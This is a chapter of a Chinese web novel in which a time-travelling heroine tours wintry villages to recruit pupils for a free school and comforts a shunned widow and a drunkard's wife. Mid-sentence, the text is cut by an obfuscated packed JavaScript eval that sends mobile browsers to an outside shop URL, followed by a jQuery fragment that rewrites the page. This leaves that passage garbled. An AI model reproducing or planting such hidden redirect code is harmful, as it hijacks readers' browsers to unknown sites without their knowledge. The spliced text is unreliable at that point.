先去的是个叫石桥的小村。
村里人不多，可家家户户挂着腊肉，孩子们举着糖葫芦在巷子里追跑，过年的气氛还算浓烈。
直到走到村西头荒坡上那户姓陈的人家，气氛才陡然冷了下来。
听村长说，陈婆子丈夫死得早，一个人拉扯两个儿子长大，吃了大半辈子苦。可小儿子也是个短命的，成婚刚两年就意外离世，只留下十九岁的小儿媳妇。
陈婆子总觉得是小媳妇克死了她儿子，平日里鼻子不是鼻子眼不是眼，连过年团圆饭都不让她上桌。
院子里没贴红纸，灶上冷锅冷灶。大儿子家的几个孩子穿着补丁摞补丁的棉袄，蹲在门槛边上玩石子，小手冻得通红。
徽月带着小园和观棋推门进去时，陈婆子正坐在灶房门槛上抱着烘笼烤火，眼皮都没抬一下。
她递上两包干枣一包粗盐，陈婆子这才勉强扯出个笑。大儿媳妇在灶房里忙活，锅铲磕着锅沿铛铛响，一股子敷衍的劲儿。
徽月蹲下身问孩子几岁了叫什么，最大的那个闷声说：“陈大石，十岁。”
又问弟弟妹妹，“六岁，四岁。”他答得简短，手指捏着石子在地上一道道划。
徽月没急着说义学的事，从袖里摸出几块饴糖递过去，孩子们怯生生接了，最小的女孩含了糖，嘴角翘起来。
小园已经蹲到灶膛边和那家婆子唠上了，问菜窖里还剩什么菜，说大白菜切丝拌盐能存得更久。
气氛软了些，徽月才提起义学：“不收束脩，孩子来能吃顿饱饭，学认字算账，还能学门手艺。只是学成了得去外县传手艺，不能在本地摆摊。”
话音刚落，大儿媳妇掀帘子出来，锅铲往锅沿上一磕：“不收钱的东西能有什么好？给人当使唤徒弟的命！我们家大石有他爹带着，种地也饿不死！”
徽月想解释，说学成之后手艺傍身走哪儿都饿不着，可陈婆子已经拿烟杆敲了敲门槛，斩钉截铁：“不去。我们陈家的事，不劳外人操心。”
大儿媳妇拉扯孩子，陈大石手里的饴糖掉了，刚要捡，被狠狠拍了巴掌：“没出息的东西！什么都往嘴里塞，小心被人拐跑！”最小的女娃吓得“哇”地哭出来，被一把抱起进了灶房。
徽月站在院子里，雪落在她睫毛上化开，凉丝丝的。观棋轻轻碰了碰她手肘，摇了摇头。小园也叹了口气，冲她递了个“走吧”的眼神。
三人只得拱了拱手告辞。
陈婆子仍坐在门槛上，连起身送的意思都没有。
刚走到院门口，身后传来急促的脚步声，一个年轻女子追出来，双手攥着围裙角，嘴唇冻得发白：“……那个，义学……我能去吗？”
徽月回头，十八九岁模样，瘦小一张脸，颧骨突着，粗布夹袄薄得连芦花都没几片。眉眼间还带着点没长开的稚气，可眼神里已有被生活磋磨过的沉重。
看年纪……莫非是陈婆子家守寡的小儿媳妇？
“你是……？”小园试探着问。
“我是这家小儿子的媳妇，夫家叫我二娘。”
徽月下意识想说义学是给孩子办的，可话到嘴边又咽了回去。
十九岁。在现代，刚上大一的年纪，宿舍里还摆着毛绒玩具、书包上挂着卡通挂坠，怎么不是个孩子？怎么到了这里，就成了守寡的“二娘”，被婆婆嫌弃克夫，被嫂子防着多吃一口饭！
“你能接受和八九岁的孩子一起坐堂吗？”
陈二娘使劲点头：“能的，能！我不怕丢人。”
“识字从三字经开始，手艺从生火学起，得一步一步来。”
“我不怕。只要不收束脩，能管口饭……”
徽月笑了：“这个放心，一分不收而且管吃管住。”
陈二娘眼眶红了，好半晌才问：“那……那，我什么时候能去？”
“开春二月二开学，至于你婆婆那边……你自己想办法说通，”徽月顿了顿：“你叫什么名字？”
陈二娘有些不解：“夫家叫我二娘……”
“我说闺名。”
她沉默了一会儿：“赵秀兰。”
“赵秀兰，开春了记得来。”徽月拍了拍她冻红的肩膀说了个地址，转身走了。
身后，赵秀兰还站在院门口。她深吸一口气，准备找个时间和婆婆说这件事。
婆婆早就嫌自己没能为二郎留下一儿半女，却还要在家里蹭吃蹭喝。
虽然地是她种，菜是她做，嫂子的几个孩子也是她帮着带。可在这个家里依旧像个外人。
她早就想逃离这个家了！
雪从初五一直落到初七，直到初八才勉强停住了脚。
灰蒙蒙的天撕开一道缝，透出一丝薄薄的日光来，照在积雪的村道上。
一连几日，见多了这样的人家，徽月的心比寒冬腊月的雪还冷。
可还不能停。
一行人的马车吱吱呀呀碾过泥泞的土路，车轮糊了厚厚一层黄泥，走不出半里就得停下来。
观棋跳下车，蹲在路边抄起一根粗树枝，把车轮上冻住的泥块一块块撬下来，撬完了再上车赶路，不出半里又糊上，如此反复。
徽月坐在车里被颠得五脏六腑都在翻涌，车身一歪，她整个人往车壁上撞了一下，磕得肩膀生疼。
“这破路，下点雨下点雪就成这样，等衙门有了钱非得修上一修。”徽月怀念起前世那些宽阔笔直的柏油路，平平整整，下雨天车开过去除了点水花，一点泥点子都没有。也不知道搁现在能不能修得出来。
小园瞧她脸色发白，忙拧了条热帕子递过来，替她擦了擦脸。帕子的热气敷在脸上，好歹缓了几分恶心。
“村里都是这种土路，走惯了也就不觉得颠了。姐姐不如先回家，等天晴了再来。你又冷又晕的，小脸煞白，别真吐出了毛病。”
“不用了，这点子我还是忍得住的。”徽月话没说完，车身又一个颠簸，胃里猛地一阵翻搅。她赶忙拉开车帘，冷冽的北风灌进来，才把那阵恶心压了下去。
“观棋你驾车走慢点！”小园冲外面嚷嚷两声。
观棋放缓了车速，左手撩开车帘递进来一个橘子。
小小的橙黄色球体，表皮上还带着一层薄薄的白霜，显然是刚从货郎担子上买来不久的。
徽月双手接过来，隔着帘子问：“给我的？”
观棋在车外比划了两下。
【咱们从京陵城出来赶路时你说过，橘子能缓解恶心。昨儿见货郎有卖就买了几个。你闻闻，缓一缓。我让马走慢点儿。】
“谢谢你啊观棋。”徽月笑得甜，剥开橘子皮，一股清冽的柑橘香气散出来。她凑到鼻尖深深吸了一口，那股子拧巴着翻涌的恶心感真就松了几分。她把橘瓣扔进嘴里，凉丝丝的酸甜在舌尖化开，整个人才觉得活过来了。
小园隔着帘子戳了戳观棋的后背，把帘子掀开一条缝探头出去：“我的呢？”
观棋从怀里又摸出一个，头也不回扔了进来。小园接住一看，瘪了嘴：“这比姐姐的也小太多了吧！你偏心！”
【你又不难受！】
“哎呀！我头好晕啊！被观棋气得头晕了！”小园抱着脑袋在车里滚来滚去，装模作样地“哎哟哎哟”喊疼。徽月笑得喘不上气，橘子瓣差点呛进嗓子眼里。被这么一插科打诨，连带着那点子不舒服也散了大半，马车又吱吱呀呀地往前走了。
前头是他们要去的最后一个村，叫孙集村。靠近竹源与松溪的交界处，背靠一座矮山，在雪后初霁的天光里自有一番宁静。
三人进村，小园面善，徽月嘴甜，观棋心细，就这样走了十来户人家。
大多数人家和陈家一样，日子虽过得紧巴，却没有几户真的愿意让孩子背井离乡。在家种上几亩薄田，好歹也能糊口不是？
送出去万一学不出来，地也荒了，人也野了，图什么呢？
真正松口说开春送孩子来的，不过一两家。
徽月也不急，也不强劝，只记下名字，又特意留意了几个孩子的秉性，回头好因材施教。
可遇上有的人家，徽月拼一口气也要劝明白。
这村走的最后一户人家，姓孙，住在一座歪歪斜斜的土坯房里。房顶的茅草薄得透光。
家里六个孩子，最大的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17899323|205365||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
十四岁，最小的还在怀里吃奶。男人酗酒，浑身上下裹着一股酸臭味，此时正躺在炕上打呼噜。女人瘦得像根枯柴，裹着一件看不出原本颜色的破棉袄，抱着孩子缩在灶角烧火。
小园先蹲过去跟她说话，女人低着头“嗯嗯啊啊”地应着，声音细得像蚊子哼，始终不敢抬眼看人。又问孩子叫什么名字，女人嘴皮动了动，半晌才挤出几个字：“……大的叫孙大丫，二丫、三丫……”声音越来越小，到最后几乎听不见了。
她怀里的孩子忽然哭起来，她慌忙撩起衣襟喂奶，动作麻利又局促，根本不避人。观棋脸色微红，转身走了出去，站在院门口背对着屋里。
徽月没像前几户那样说两句就走。她蹲下来，在女人另一侧坐下，也伸手往灶膛里添了根柴：“你家大丫十四了吧？”
女人“嗯”了一声。
“这个年纪，搁在好人家，正是学绣花学识字的时候。可搁在你们家……再过两年该说人家了。她这样的家境，嫁过去的能是什么好人家？要么给老光棍填房，要么去大户人家当使唤丫头。运气好的话攒几个铜板回来，运气不好一辈子抬不起头，被打被骂被卖了都没人替她撑腰。”
女人没说话。
“二丫三丫呢？一个十二，一个十岁，再过几年也是一样的路。四个女儿，嫁出去就像泼出去的水，婆家好的能喘口气，婆家不好的，连口热饭都吃不上。你这个当娘的，夜里闭着眼睛想不想她们？还是就随便把她们嫁出去换彩礼？”
灶膛里噼啪响了一声，女人的肩膀颤了颤，嘴唇抖了抖，终于开口：“……那能怎么办……他爹，他爹连酒钱都凑不出来……孩子送去念书，谁干活？谁伺候他？”
徽月静静地听着，等她说完，才慢慢开口：“义学不收束脩，管吃管住。孩子去了不用你出一文钱，家里还少几张吃饭的嘴。几个丫头去了学手艺，就能养活自己，即使将来嫁了人，婆家也不敢轻贱她。”
这个时代，她说不出不嫁人自己也能好好过一辈子的话。
这是这个时代的局限性，她是蚍蜉，撼不了树。
女人没搭话，眼泪淌到嘴角，她舔了一下，又飞快地别过脸去，不让人看见。
徽月从怀里摸出写好的义学地址纸条，轻轻放在灶台上，纸条上压了一块饴糖：“春天来了你让一个丫头先来，不交钱，管吃管住，教认字、教手艺。学成去外县摆摊挣钱，把本事教给更多的人，但人的根还落在这儿。有了手艺，先不说嫁什么人，至少她自己能站着活。几个孩子的人生，不能由着这个酒鬼爹一句话就给定了。”
女人的手慢慢松开衣角，伸过去，把灶台上那块饴糖攥在了手心。
徽月站起来，拍了拍膝上的灰，转身走了。
小园和观棋跟在后面，出了院门，小园才低声问了一句：“姐姐追着她说了那么半天，她男人醒了知道了打她怎么办？”
徽月回头看了一眼那座歪歪斜斜的土坯房，目光沉沉的：“不打也活不好。她男人喝酒喝得人不像人鬼不像鬼，几个丫头眼看着就要被卖去换酒钱。我不拉她一把，她这一辈子、她几个孩子这一辈子，就烂在这灶台前头了。”
小园咬咬嘴唇，没说话。
三人沿着村道往回走，雪在脚底下咯吱咯吱响。徽月走了一会儿，忽然开口，像是在自言自语：“这一路走来，有的人家我不强劝。上回那户姓刘的，公婆疼孩子，家里的地虽然不多但够嚼用，男人虽没大出息却是个老实人，孩子留在身边种地也能平安过一辈子。那种人家我不追着劝。”
小园歪着头问：“那什么样的你才拼了命也要拉一把？”
徽月停下脚步，站在村道的岔路口，开口声音很轻：“像孙家这样的。男人废了，女人立不起来，孩子眼看着就要被拖进泥里一辈子拔不出来。这种人家，你不拉她一把，她真的连爬的力气都没有。”
她想起前世下乡扶贫，走过那么多村子，见过太多这样的人家。有时候就是一个契机，一个人推一把，她们就能从泥里挣扎着站起来。没人推，没人拉，就烂在里面了。
一辈烂一辈，子子孙孙没个头。